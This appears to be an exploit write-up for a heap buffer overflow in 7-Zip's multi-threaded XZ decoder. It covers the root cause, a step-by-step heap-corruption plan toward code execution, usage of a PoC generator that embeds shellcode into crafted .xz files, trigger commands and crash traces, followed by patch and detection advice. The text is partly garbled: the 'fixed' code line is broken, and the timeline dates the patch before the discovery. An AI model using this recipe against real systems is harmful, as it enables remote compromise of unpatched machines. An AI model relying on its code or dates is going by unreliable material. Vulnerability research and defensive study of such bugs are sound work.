Share
## https://sploitus.com/exploit?id=FBD3DBC5-71EE-57F6-A156-58C2288B70BD
# CVE-2026-14266 โ€” 7-Zip XZ Decoder Heap Buffer Overflow

> **Critical Severity** | CVSS: 8.8 (High) | CWE-122: Heap-based Buffer Overflow  
> Affected: 7-Zip โ‰ค 26.01 | Patched: 7-Zip 26.02 (2026-06-25)  
> Discovered & Analyzed by: Li Yuxuan (liyuxuan504-byte) and team

---

## Executive Summary

A heap buffer overflow exists in the **multi-threaded XZ decoder path** of 7-Zip versions โ‰ค 26.01. A maliciously crafted `.xz` archive can trigger an out-of-bounds write past the heap-allocated output buffer, leading to:

- **Denial of Service** (confirmed) โ€” reliable crash with `STATUS_ACCESS_VIOLATION (0xC0000005)`
- **Remote Code Execution** (potential) โ€” controlled heap overflow enables function pointer / vtable corruption under the right heap layout conditions

The vulnerability resides in `MixCoder_Code()` in `C/XzDec.c`, where the **SingleBuf (outBuf) branch** passes an unchecked `destLen2` to the LZMA2 decoder without clamping it against the remaining buffer capacity (`outBufSize - outWritten`).

Any system or application that uses a vulnerable 7-Zip (or `7z.dll`) to extract untrusted `.xz` files is at risk โ€” the multi-threaded path is **enabled by default** on multi-core systems.

---

## Vulnerability Deep Dive

### Affected Code Path

```
XZ Stream โ†’ XzUnpacker_Code (XZ_STATE_BLOCK)
  โ†’ MixCoder_Code(outBuf branch, p->outBuf != NULL)
    โ†’ destLen2 = destLenOrig          // โ† NO boundary clamp
    โ†’ Lzma2State_Code2(..., &destLen2)
      โ†’ dicLimit = dicPos + destLen2  // โ† can exceed dicBufSize
        โ†’ Lzma2Dec_DecodeToDic(...)
          โ†’ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            โ†’ dicPos exceeds dicBufSize โ†’ HEAP OVERFLOW
```

### Root Cause (26.01 vs 26.02)

**Vulnerable (26.01) โ€” `C/XzDec.c` ~L606:**
```c
if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // โ† raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // โ† tracks total but never checks
}
```

**Fixed (26.02) โ€” `C/XzDec.c` ~L605:**
```c
if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // โ˜… NEW boundary check
        if (destLen2 outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency โ†’ abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}
```

**The fix is 3 lines.** It subtracts `p->outWritten` (bytes already written to this outBuf) from `destLen2` before passing it to the LZMA2 decoder, ensuring the decoder can never write beyond the allocated buffer.

### Why Multi-Threaded Only?

In the single-threaded path, `XzUnpacker_Code` applies its own `unpackSize`-based `rem` clamp before calling `MixCoder_Code`. This clamp correctly limits output. The multi-threaded SingleBuf path **bypasses this clamp** because it passes `destLenOrig` straight through โ€” the upstream clamp is ineffective when `destLen` is pre-set to the full remaining input size rather than the actual buffer remaining capacity.

---

## Exploitation Analysis

### Heap Allocation Behavior

The outBuf is allocated on the CRT heap via `ISzAlloc_Alloc(allocMid, unpackSize)`:

| `unpackSize` | Allocator | Exploitability |
|---|---|---|
| โ‰ค 16 KB | **LFH** (Low Fragmentation Heap) | โ˜… Best for RCE โ€” adjacent objects in same bucket |
| 16โ€“64 KB | Segment Heap (Backend) | Possible โ€” free-list corruption |
| โ‰ฅ 64 KB | VirtualAlloc (page-aligned) | DoS only โ€” guard page traps overflow |

### RCE Strategy (LFH Path)

The most promising exploitation approach:

1. **Use small `unpackSize` (256โ€“16384 bytes)** to trigger LFH allocation
2. **Overflow past outBuf** into adjacent LFH subsegments
3. **Corrupt LFH free-list `next` pointer** โ†’ achieves arbitrary-alloc primitive
4. **Allocate onto a target** (function pointer, vtable, return address)
5. **Trigger** the corrupted pointer โ†’ code execution

### Current Status

| Capability | Status |
|---|---|
| DoS (crash) | โœ… Confirmed, reliable on 7-Zip 26.00 x64 |
| Silent heap overflow (LFH) | โœ… Confirmed โ€” writes past buffer, exit code 2, no crash |
| Controlled payload delivery | โœ… Fully controllable via LZMA2 copy-chunk data |
| Heap layout primitives | โœ… Concept proven โ€” requires target-specific layout tuning |
| Full RCE chain | โŒ In progress โ€” needs heap layout analysis on target |

### Why Debugging Is Tricky

Conventional debuggers (x64dbg, WinDbg) alter process creation behavior. Under a debugger, `7z.dll` may never load the multi-threaded XZ path โ€” the process silently falls back to single-threaded mode where the vulnerability does not trigger. The approach required:

- Launch 7z.exe **outside** the debugger
- Attach within 1โ€“2 seconds (before the crash)
- Or use a custom mini-debugger (provided in `tools/`)

---

## PoC Generator

`poc/poc-cve-2026-14266-rce.py` is a full-featured XZ exploit generator:

### Quick Start

```bash
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
```

### Key Parameters

| Parameter | Description | Recommended |
|---|---|---|
| `--unpack-size` | Block declared unpackSize (= outBuf allocation size) | 256โ€“4096 for LFH RCE |
| `--overflow` | Total bytes to write past outBuf | 4096โ€“32768 |
| `--chunk-size` | LZMA2 copy-chunk data size (1โ€“65535) | **Must NOT divide unpackSize evenly!** Use prime (97) or `--force-align-overflow` |
| `--payload-cyclic` | Cyclic pattern for offset discovery | Use first, then replace with real payload |
| `--payload-shellcode` | Embed Win x64 `WinExec("calc.exe")` shellcode | ~276 bytes |

### Trigger

```powershell
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable โ€” for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
```

---

## Test Results

Tested on: **Windows 11 Pro x64 (build 26200) + 7-Zip 26.00**

| `unpackSize` | `chunk_size` | Overflow | Result |
|---|---|---|---|
| 256 KB (0x40000) | 4096 (aligned) | ~32 KB | `0xC0000005` โ€” Access Violation (guard page) |
| 256 KB | 3 (original DoS) | ~30 KB | `0xC0000005` โ€” Access Violation |
| 256 KB | 4096 | ~32 KB | `0xC0000374` โ€” Heap Corruption detected |
| 256 B | 97 | ~1 KB | Exit 2 โ€” **Silent overflow!** |
| 4 KB | 97 | ~16 KB | Exit 2 โ€” **Silent overflow!** |
| 16 KB | 97 | ~32 KB | Exit 2 โ€” **Silent overflow!** |

> **Key insight:** All LFH-range (โ‰ค16 KB) allocations produce *silent* overflows โ€” payload data is written onto adjacent heap objects without an immediate crash. This is the prerequisite for RCE exploitation.

---

## Crash Point (Live Debugging)

From a live x64dbg session (7-Zip 26.00, MT path):

```
Fault instruction:  mov byte ptr [rcx], r11b
Fault address:      msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx):     0x12363C50002 = outBuf_base + 0x40002
                    (2 bytes past the 0x40000-byte outBuf)

Decoder struct (rbx = 0x12363B0BB00):
  +0x28: outBuf base   = 0x12363C10000
  +0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
  +0x38: write cursor  = 0x40000 (ALREADY FULL when overflow begins)

Call chain:
  msvcrt!memcpy
  โ† 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
  โ† 7z.dll+0x1305D5
  โ† 7z.dll+0x13071B (XZ multi-threaded decode entry)
  โ† ntdll.dll+0x1D141 (thread start)
```

---

## Mitigation & Detection

### Mitigation
- **Upgrade** to 7-Zip 26.02 or later (fix in `C/XzDec.c`)
- **Workaround:** Force single-threaded extraction: `7z x -mmt=1 `
- **Defense-in-depth:** Enable Windows Exploit Protection (CFG, ACG, heap integrity checks)

### Detection
- Monitor for 7z.exe exiting with status `0xC0000005` during extraction
- Watch for 7z.exe heap corruption errors (`0xC0000374`)
- YARA / network detection: Look for XZ blocks where LZMA2 copy-chunk total data exceeds the declared `unpackSize`

---

## Files in This Repository

```
โ”œโ”€โ”€ README.md                          โ† This report
โ”œโ”€โ”€ src-diff/
โ”‚   โ””โ”€โ”€ XzDec.diff.txt                 โ† 26.01 vs 26.02 MixCoder_Code() diff
โ”œโ”€โ”€ poc/
โ”‚   โ””โ”€โ”€ poc-cve-2026-14266-rce.py      โ† PoC generator (cyclic/shellcode/raw)
โ”œโ”€โ”€ tools/
โ”‚   โ”œโ”€โ”€ 04-heap-analyze.ps1            โ† x64dbg MCP automation for heap layout
โ”‚   โ”œโ”€โ”€ 05-mini-debugger.ps1           โ† C# Win32 debug API mini-debugger
โ”‚   โ””โ”€โ”€ 06-guard-dump.ps1              โ† Guard-page heap dumper (LFH analysis)
โ””โ”€โ”€ docs/
    โ”œโ”€โ”€ 01-crash-point-analysis.md     โ† Live crash trace (x64dbg)
    โ”œโ”€โ”€ 02-vulnerability-root-cause.md โ† Full root cause analysis
    โ””โ”€โ”€ 03-rce-exploit-plan.md         โ† RCE exploitation strategy
```

---

## Timeline

| Date | Event |
|---|---|
| 2026-07-24 | Vulnerability discovered and confirmed on 7-Zip 26.00 |
| 2026-07-24 | Crash PoC developed; live debugging confirms heap overflow |
| 2026-07-24 | Root cause identified: missing `destLen2 -= outWritten` in `MixCoder_Code` |
| 2026-07-24 | RCE PoC generator developed with LFH exploitation strategy |
| 2026-07-25 | Full analysis report published |
| 2026-06-25 | 7-Zip 26.02 released with fix |

## References

- [7-Zip Official](https://7-zip.org/)
- [7-Zip Source (ip7z/7zip)](https://github.com/ip7z/7zip)
- [CWE-122: Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html)
- [Windows LFH Internals](https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap)

---

## Disclaimer

This report is for educational and defensive security research purposes only. The PoC code is provided to help security researchers and defenders understand the vulnerability and develop detection capabilities. Do not use this code against systems you do not own or have explicit permission to test.